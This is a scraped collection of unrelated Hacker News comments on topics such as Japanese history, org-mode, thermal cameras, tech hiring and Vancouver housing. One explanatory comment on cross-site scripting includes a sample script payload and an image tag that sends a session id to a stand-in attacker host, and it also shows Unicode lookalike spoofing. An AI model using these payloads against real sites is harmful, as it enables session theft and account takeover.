skysight-inc/HackerNews huggingface dataset:
Not the OP but I don't believe you are very familiar with modern Japanese history.

First, your point that they had a "miraculous track record" in the past means it's reasonable to be "hand-wavy" about the future is absurd. Are you familiar with the phrase "Past performance is no guarantee of future performance?" Would you say Germany or South Korea can implement any nationwide policy easily because they share a similar historical background as you've described?

Second, Japan's miraculous growth had a lot to do with direct US intervention and the Korean War. The US created a Supreme Command of Allied Powers program directed by MacArthur that made a wide set of economic and political reforms. [0] And the Korean War essentially made Japan the de facto supply depot for the UN, driving a lot of US investment money there. [0]

Third, Japan in the past had plenty of human capital and cheap labor. This is certainly not the case anymore. I'm not saying they're doomed, but their population pyramid is quiet different from post-WWII Japan. [1]

[0] https://history.state.gov/milestones/1945-1952/japan-reconst...
[1] https://en.wikipedia.org/wiki/Aging_of_Japan
New fault line identified in California, still overdue for whopper quake
Because Dropbox/GoogleDrive can be set up by the user. Going with S3/GCS would require either Plex host (read: pay for) the storage or the user to set up their own cloud accounts.
Yeah one atmosphere, but with the same atmospheric mix as what is on Mars. I was trying to simulate compressing the Martian atmosphere into a pressurised and thermally insulated greenhouse.

My enclosure is only good down to about 0.8 atmospheres, below that the big rubber seal around the door starts to leak. The vacuum pump is used when mixing the atmospheric composition.

Figure the first martian plants would live in a pressurised, insulated greenhouse. There are some neat passively heated designs around.

I think my next experiments will be with legumes trying to fix nitrogen and improve the soil. The way I see it, pressure, warmth and light are all problems for which we have existing solutions. The real question is can we get stuff to grow without importing tons of fertiliser?
So, it was always wrong, but they didn't notice until the "exceptional" cases became common enough in their own use.

This, to me, is an argument for emoji being a good thing for string-handling code. The fact that they're common means that software creators are much more likely to notice when they've written bad string-handling code.

Whatever platform you're using should have an API call for counting grapheme clusters. It may be more complex behind the scenes, but as an ordinary programmer it should be no more difficult to do it correctly than it is to do it wrong.
>Every time I try to get into org-mode, I just don't get where to start and how to do things.

Don't start with the manual. Emacs manuals are more like reference books.

Find some tutorials and go from there.

The learning curve is shallow - that I can promise.
One of a couple of reasons. It's not likely to be as well developed in a review from 81 but an important part of modern high performance sailing is gust and wave response. That is, when you get hit by a gust or a wave, how does your rig and sail flex in response to help you manage. Generally, having the top of your sail twisting off can help with designing for gust response.
Kudos to ycombinator !
As a current user of both, I disagree with your disagreement. The iPhone's more polished, but the Android's more flexible.
Between 7:20 and 7:50 AM this morning, my wife told me literally 5 times not to forget my lunch, "it's in the refrigerator."

I forgot my lunch.
Winter is great when you prepare accordingly.
Hmmm...

* Exterior vehicle wash / detail

* Residential linen service that gives you new sheets, duvets, drapes within a catalog of styles for variety and also keeping things clean/dust-free

Will update as I think of more
New favourite quote.
Yep, $250 for the FLIR One [1] or Seek Compact [2].

FLIR has a new version [3] launching Q2 for $200.

[1] http://www.flir.com/flirone/ios-android/

[2] http://www.thermal.com/products/compact/

[3] http://www.flir.com/flirone/products/?id=81752

These things are really cool, we use a standalone one in my office for thermal testing products. It's not just fingers on screens, you can see footprints from someone walking across the floor.
Jerry, your work on plv8 is fantastic and I hope someone from Google takes you up on your offer!
But I don't think jQuery vulnerabilities could possibly open you up to XSS attacks unless you were already doing something silly.
That's simple, you just add another header, State-Of-The-Art-Plus.

Then a couple years later, you add State-Of-The-Art-Plus-Plus.

Then a couple years after that...
No. All events are asynchronous. This use case is best simulated by having clients post to a queue. Cloud functions then either discards or applies writes in that queue.
Super-sized memory is trainable and long lasting
Sorry for hijacking, but is there an issue with Cloud SQL right now? I keep getting authentication issues from the GCP dashboard even though I've logged in with 2FA multiple times and when I try to visit my Cloud SQL instances, it just says failed to load.
A little bit of rain is a small price to pay for not having massive drought problems
I picked 3 examples where it is true though. The exception being teaching in the US specifically pays awfully but it pays pretty well/has good benefits in other western countries.
I think there is lots of evidence of most for the things I claimed.

This is a perspective thing, we each see no fault in allowing the other to be screwed when our own national security is at stake. Then we fault the other for horrible acts of war when they just thought they were defending their national security.
We've found mention bot to be helpful internally for intelligently selecting who should be performing reviews: https://github.com/facebook/mention-bot

Give it a try!
I'd say the main direct effects were (1) we were able to iterate very fast on our internal tools, which are used by internal operators to manage each transaction; and (2) our data science setup has allowed us to price homes incredibly accurately. Many companies have estimates of a home's value, but Opendoor puts its money where its mouth is ;)

Happy to answer any more questions about it.
I know that. The parent asked why it matters that it's multi-platform.

Hence my answer: that it matters because if it wasn't, then you'd have to run Mac OS X to use Swift on the server side.
Yes lots of tricks. Picking/strumming close to the bridge versus at the middle. Pinched harmonics. Strumming past the nut. Natural harmonics at nodes of overtones. Exciting the strings by hitting body instead of strings.
Let's imagine there was this dating service for married people...

(that was backend problems, but a frontend vulnerability could have resulted in similar leakage.)
> If I want to produce a well-formatted PDF, I directly write LaTeX with the help of some very nice Emacs modes.

My experience is quite the opposite. I was a heavy LaTeX user, and stopped pure LaTeX years ago when I learned org mode. For the usual markup, Org mode syntax is much nicer than LaTeX's. And if I want custom LaTeX, Org mode lets me insert it in the document.

I never manually write TeX or HTML documents any more. I always author in Org mode and export.

>I thought org-mode would be useful for personal task management, but I find it to offer way to many intricate options for that. The restricted feature set of Wunderlist is actually better for me, and having all lists always fully available on any device and the web is extremely useful.

The task management is as simple or as intricate as you like. Org mode doesn't force any intricacies on you. If you want a simple flow, you can get it without learning too much Org Mode.

However, having it available on any device is a big deal. I'll grant you that.
12 seconds to load fully here (that's 11.90 seconds too long - can't they store some stuff in local storage or...?) - and of course it's not really usable until it's fully loaded. You could start trying to type but it'll not do anything, or stuff will move.

Opening the 'Updates', er, 'section' with 2 emails in it took 2 seconds, which is silly.

I love the flow of Inbox but I'm seriously considering going back to a local client. Are there any good ones left these days? I liked mutt, but using it with an IMAP mailbox made it a bit clunky. I just need to work /fast/, without crashes, without spam, and preferably with vi keys and programmabil... never mind the last two, I can live with the speed, stability and spam-free parts.
I didn't see it in a quick search: how did these people 1,000 years ago store water without it becoming contaminated?
I'm in Triplebyte's pipeline right now, and have had nothing but a great experience. The interview questions have been... not unusual? If people are complaining they're too challenging, I think I must have gotten lucky, because they seemed fairly normal to me. I believe my interviewer even told me that rather than finishing the whole programming problem, they were looking to see how far I could get and how I develop code.

It's been a great experience so far, even though several of my favorite companies in the pipeline have gone incommunicado before I could even talk to them :-/!
Expedia's market cap is at 19B today. 31B is much more valuable than it.
Looks more complicated than actualy it is.
For instance .Sh is section header. Easier to remember than it looks at first sight.

Also gives hints to text formatters that dump the doc to txt, console, ps, or html.
Roger Sharrock, in 1660, advised his readers to cut up red herrings, burn them, and place the pieces in the mouths of molehills. In a pinch, garlic or leeks might also work. “I have not tryed these ways,” Sharrock added, “and therefore refer the Reader to his own tryal, belief or doubt.”

Were the moles puzzled to death? "Mrs. Mole, have you seen this? Who left this fish here?" "Ignore that, Mr. Mole: it's just a red herring."
Yes but what I think I had not given enough thought to were DOM-based vulnerabilities, which it seems to me are the ones that would be relevant to 3rd party JS libs. Anyway I will certainly be giving this deeper thought.
but how do i get into it? Where do I find those jobs? What do they want to see on a resume? What koalafications?
I for one do not. And none of my immigrant friends do either.

There's two types of immigrants in that regard. One has family back home that they support by getting a better job abroad. They might be the majority, I don't know.

Then there's the young person who moved abroad right after college or studied abroad in the first place. They're looking for better opportunities for themselves. Many start families abroad and their children are citizens.

Many if not most immigrants are hybrids of above. One family member moves abroad with the goal of sending money back home to provide for their family. But the endgame is to eventually bring the rest of the family over once the first immigrant finishes bootstrapping their new life.

I would wager that most immigrants who do have family back home, would love nothing more than to bring the rest of the family over to their new country.
Thanks for your comment, MasterScrat. These are good points, actually our results are preliminary. As we consider this topic to be helpful for developers, we aim to further analyze the data.

I would be very happy to receive more replies like yours to come up with new ideas and different perspectives on how to look at the data, and to prioritize which questions to answer.
Clickbait, the Upvote, Fake News, and the Problem of Merit
Regarding regexes, I would recommend http://www.regular-expressions.info/tutorial.html

It doesn't take long, and I found the explanation clear enough that it's stuck. It's also a good reference site if you want to quickly remind yourself what X means in Y dialect.

I also have a long todo list that more things go on than get done. But, I think it's probably unreasonable to expect to learn more than say one or two programming-language level things a year if you've got a job. Certainly if you're going to do the learning thoroughly and not just forget it all by the next year.
no, how does supporting only one video call use case by app mean target is consumer and not that use case?
> They're kind of just filtering through candidates looking for people who they think could work at Google instead of looking for hard-working people.

Perhaps just responding to their customers (employers) desires. It seems companies these days, companies that are not Google, are looking for Google-caliber people even if they just need someone who knows how to code and is hard working.
App Engine Flex just came out of beta today :)

https://twitter.com/googlecloud/status/839901710948589568
Nice - does the job ;)

In case you decide you want to upgrade it, get in touch. I've open sourced some code for creating real estate websites and I'll be happy to help you use it (for free....):

https://github.com/etewiah/property_web_builder
Your humility is pretty awesome.

As a simple example, paste <script>alert("haha")</script> into an form in your system that will (eventually) be viewable to someone else. Let's say it's something innocuous like the quantity field on an order form or a comment on a comment form.

Now, none of those characters will attack your database through SQL injection, right? So what happens when you (the administrator) views your latest orders? Basically, that javascript is now operating in the security context of you, the administrator, not in the context of the attacker that submitted it. It could do something worse than alert()... for example, it could grab your session token or a cookie's secret value (depending on the cookie) and send it off to <img src=evilattacker.xyz/clear.gif?sid=xxxx>, and now the attacker can become you.

Or, it could do the same thing to another user on your forum when they look at the evil comment.

This sort of attack is easy to do and broadly considered XSS (cross-site scripting). There are related areas of attack, like cookie forgery, referral, etc attacks. The OWASP string replacement guidelines (or my safify.js) can help with this, but ultimately string sanitation has to make sense for the context (i.e., browser bad characters are different from SQL injection bad characters).

And, you have to think about the weakest link... us poor humans, to whom similar 𝖻𝗎𝗍 𝗇𝗈𝗍 𝗊𝗎𝗂𝗍𝖾 𝗍𝗁𝖾 𝗌𝖺𝗆𝖾 𝗎𝗇𝗂𝖼𝗈𝖽𝖾 𝗅𝖾𝗍𝗍𝖾𝗋𝗌 𝖼𝖺𝗇 𝖻𝖾 𝗎𝗌𝖾𝖽 𝗍𝗈 𝗍𝗋𝗂𝖼𝗄 𝗌𝗈𝗆𝖾𝗈𝗇𝖾... 𝗆𝖺𝗒𝖻𝖾 𝗍𝗁𝖾𝗒 𝗍𝗁𝗂𝗇𝗄 𝗂𝗍'𝗌 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝖴𝖱𝖫 𝗍𝗁𝖺𝗇 𝗂𝗍 𝗂𝗌, 𝗈𝗋 𝖺 𝖽𝗂𝖿𝖿𝖾𝗋𝖾𝗇𝗍 𝗎𝗌𝖾𝗋𝗇𝖺𝗆𝖾.. (paste that into vim to see the actual characters in the preceding sentence.)

𝗁𝗍𝗍𝗉𝗌://𝗀𝗈𝗈𝗀𝗅𝖾.𝖼𝗈𝗆/?𝗊=𝗇𝗈𝗍+𝗐𝗁𝖺𝗍+𝗒𝗈𝗎+𝗍𝗁𝗂𝗇𝗄

None of those unicode characters will usually trigger any blacklists, but because it "looks" right, sometimes can even trick security-aware hackers. (see also punycode). What if someone spoofs someone's username on github?

There's lots and lots of interesting ways to attack websites. It's tough to keep track of them all.

Another example. Your 404 page..

<h1>404</h1>
<p>Sorry, /x/y/z doesn't exist.</p>

Now, someone says "Hey, can you please visit this site?"

https://yoursite.com/this-is-a-long-url-thats-hidden-in-a-an...
Unlimited free Bitbucket license for students and teachers
Based on at least an Israeli military study less segregation actually reduces sexual harassment.

Sexual harassment is prevalent when there is a large imbalance in group size this also holds true in units which have a makeup of 80-90% female to male ratio in which case the males are harassed.

It seems that the unit with the least amount of sexual harassment is the coed combat unit where the male to female ratio is near equal and this holds true for the entire chain of command.

Effectively when one group seem to have more power even if it's just perceived power due sheer numbers thinks go the other way around.

That said it might be hard to balance the numbers due to obvious reasons.

A 10 year study of women in actual combat roles does not bode well for them physically especially in the reproductive department.
As mentioned upthread, FLIR offers smartphone attachments for ~$250 nowadays. Dunno about the quality w/r/t the professional-grade stuff, though.
For more sensitive areas, scramble pads are usually used. Solves a lot of security issues if you think anyone will go through much effort to get into an area.
I'm not the OP, but I'll reply: absolutely.

It's also downright cruel. If one is willing to look at the data, past their own delusion of the 'just world' fallacy, they'll see that one's birth location and parents determine an overwhelming majority of one's outcomes.
Impossible for individuals to answer - nobody starts and runs businesses first hand in a large number of countries, so how could they compare? Various organizations regularly try to come up with rankings; try Googling "best country to start a business" and similar.

You will have to adjust anything you find for your personal likes and needs. For instance, Forbes opines that Sweden is the #1 country for business, followed by New Zealand at #2 [1], while doingbusiness.org ranks Sweden 9th, with New Zealand taking first place [2]. If you love taxes and long dark winters as much as I do, you may want to weigh the second opinion more.

[1] https://www.forbes.com/best-countries-for-business/list/

[2] http://www.doingbusiness.org/rankings
Slrn: a powerful text-based newsreader
This happens very regularly for me, Google's own internal links are terribly broken.

I'm on an android device, using chrome. I'm clicking a link on a Google site, a call to action to sign up.

I get a page that's not a signup page but another overview, and has a broken image in.

Usually it's broken links on help pages but this is just useless. How do I sign up? I want to build on your platform! Please stop making the first interactions I have with you broken!
We've been using TripleByte (in addition to career fairs, etc.) at Expo for a few months and find it really good. Every candidate from TripleByte we've interviewed has been knowledgeable about many facets of software engineering, and it's been great to work with the one we've so far brought on board.

One effect of using TripleByte is that we've been able to focus our interviews more on engineering design and seeing how someone thinks. Since we've found TripleByte's interviews for programming skills and knowledge to be quite good, we get to spend more of our time and the candidates' time on areas other than coding questions.
A PGP add on built into gmail would be nice
.. They have been promising it for years now, seems they have trouble delivering it.
The skiing conditions near Vancouver are significantly better than near San Francisco, year-round.
You made my point. It should be prominent, not hidden or non-existent.
Exodus March 2017 Update with Provider Settings Fix by Jack Bower
Kodi Exodus with no openload and autoplay HD in a flash. Dont fall for copycats. See my Original Exodus that runs like Netflix.
Enjoy....https://www.youtube.com/watch?v=_QqWbJee4Po
Marie Skłodowska-Curie is missing. And with all the shit she have been through (including opposition for her to have a PhD and then Nobel prize, and well a lot of things) she is still a leading woman in physics and chemistry and being a women fighting for women's rights.
From the thermal photo in the article, it looks like you get the sequence based on the residual heat intensity. Re-using digits would complicate that a bit, but I don't think pressing half of the buttons randomly before entering the real code eliminates the attack vector.
I'm super happy to see this. Square uses something similar for employee access to our datacenter, and I hope more people follow this trend. It's one of the annoying parts of open-sourcing our infrastructure -- we can't generally assume folks have an authenticating proxy around. With a few examples in the wild, I'll be happy to start doing that.

We use mutually-authenticated TLS (ie, the proxy presents a client cert to your backend) so that you know the entire request is valid, including the username header. IAP only signs the header, which could be replayed because it's not bound to the session (eg, a debug page exposes request headers). But it's probably easier to grab a library that can validate JWT than worry about your TLS termination layer (eg, in a rails app behind nginx terminating TLS & serving asssets)
In an era of declining fresh-water reserves, being somewhere rainy is a good thing.
https://www.deepstreamhub.com might be worth to take a look as well
> This pretty much eliminates the motivation for having a $5/mo Digital Ocean droplet for personal tinkering

DO gives you 1TB of transfer for your $5, Google gives you 1GB for $0 and 12c/GB after that. Depending on how much egress traffic your VM generates, the Google "free" tier could be very, very expensive.
1. Makes no difference.

2. Makes no difference.

How do you know the CIA found these vulns, and that they weren't shared from IC partners?

You are, at best, advocating a policy which would lead to an absolutely disastrous disadvantage to the USICs SIGINT capabilities in relation to its adversaries.
Sigh. If I need to spell this out:

Why is the ME watchdog mandatory?

What innocent explanation details why Intel has chosen to deny me the option to consider the ME a security risk in my environment and disable it?
Running TensorFlow with GPU Support on Kubernetes
I wonder if it's too much for our brain or it selectively does stuff like that. I look at all the innovation and progress and look at myself and feel out of place sometimes.
I had the same reaction as you at the headline, but clicking the article and seeing intuit and salesforce made me rethink slightly. It would indeed be handy to be able to toss a receipt email into quickbooks or a new name on cc into a salesforce contact from webmail. I'm sure there are some other decent uses of the concept.
Hipchat has AV calling. I've never experienced delayed @mentions and we've been using it for 3 years with close to 100 people.

With Slack you use backquotes for code. With Hipchat you type /code first.

Same service.
Once you get the power whilst operating within a free market what then?

How is this a sustainable model?
Wow. Do you actually find that less than 10 on-sites is sufficient to obtain at least one offer? A >10% success rate seems very high to me, even with the vetting you provide. Admittedly I have only anecdotal data.
>If I need someone to build me a compiler, there's no point sending me any number of job applications who did brilliantly on a coding test, if they have never built a compiler before.

Ok, then shoot me an email, and we'll build the compiler. I'd be happy to find a position that actually involves compiler work at all.
Mary Otto, Author of 'Teeth,' on the Dentistry-Medicine Divide
This is false. There are lots of small, old crappy houses in Vancouver. It's just that they cost a ridiculously large amount of money.

Here's a pretty typical example:
https://www.realtor.ca/Residential/Single-Family/17409318/55...

Before you ask, no that's not even in a really desirable part of Vancouver.

That will cost you another million. See this as an example:
https://www.realtor.ca/Residential/Single-Family/17850427/31...
For anyone who was wondering, they use smart locks from Schlage.

But i'm curious for two things:

-why they use those except for the different models Schlage has.

-where is Schlage api's documentation :p
Bolstering security across Google Cloud
A Fullstack developers survival guide to the JavaScript jungle – Part 2